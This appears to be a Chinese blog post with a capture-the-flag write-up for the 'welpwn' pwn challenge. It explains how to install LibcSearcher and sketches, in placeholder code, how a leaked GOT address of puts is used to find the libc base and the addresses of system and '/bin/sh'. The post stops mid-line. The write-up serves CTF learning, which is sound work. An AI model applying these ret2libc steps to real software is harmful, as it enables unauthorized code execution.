pwn篇：攻防世界进阶welpwn，LibcSearcher使用

最新推荐文章于 2024-05-18 10:05:49 发布

哪家楼下的猫咪

最新推荐文章于 2024-05-18 10:05:49 发布

阅读量1k

点赞数

分类专栏： pwn篇

本文链接：https://blog.csdn.net/weixin_44644249/article/details/113781356

版权

本文介绍了攻防世界中的welpwn挑战，重点讲解如何在无Libc泄露地址的情况下，利用LibcSearcher进行动态匹配找到libc版本。文章详细阐述了安装、使用LibcSearcher的方法，分析了程序保护、IDA反汇编，并给出了解题思路和exploit代码，最终成功完成挑战。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

攻防世界welpwn

这题主要是考无Libc泄露地址和栈空间控制，在没有Libc的情况下，可以使用LibcSearcher进行动态匹配，匹配完成后会给出选项，选择libc的版本即可。如果不知道版本可以一个个试。

安装LibcSearcher

git clone https://github.com/lieanu/LibcSearcher.git

文件有点大，100多Mb

配置LibcSearcher,可以直接install，会自动build
cd LibcSearcher
python setup.py install

基本使用方法

from LibcSearcher import *
io = process('xxxxx')
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
......一系列操作，将got地址泄露出来......
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
puts_got_addr = io.recv()# 接收函数的got地址,比如我这里拿到puts的地址
libc = LibcSearcher('puts',puts_got_addr)
libc_base = puts_got_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh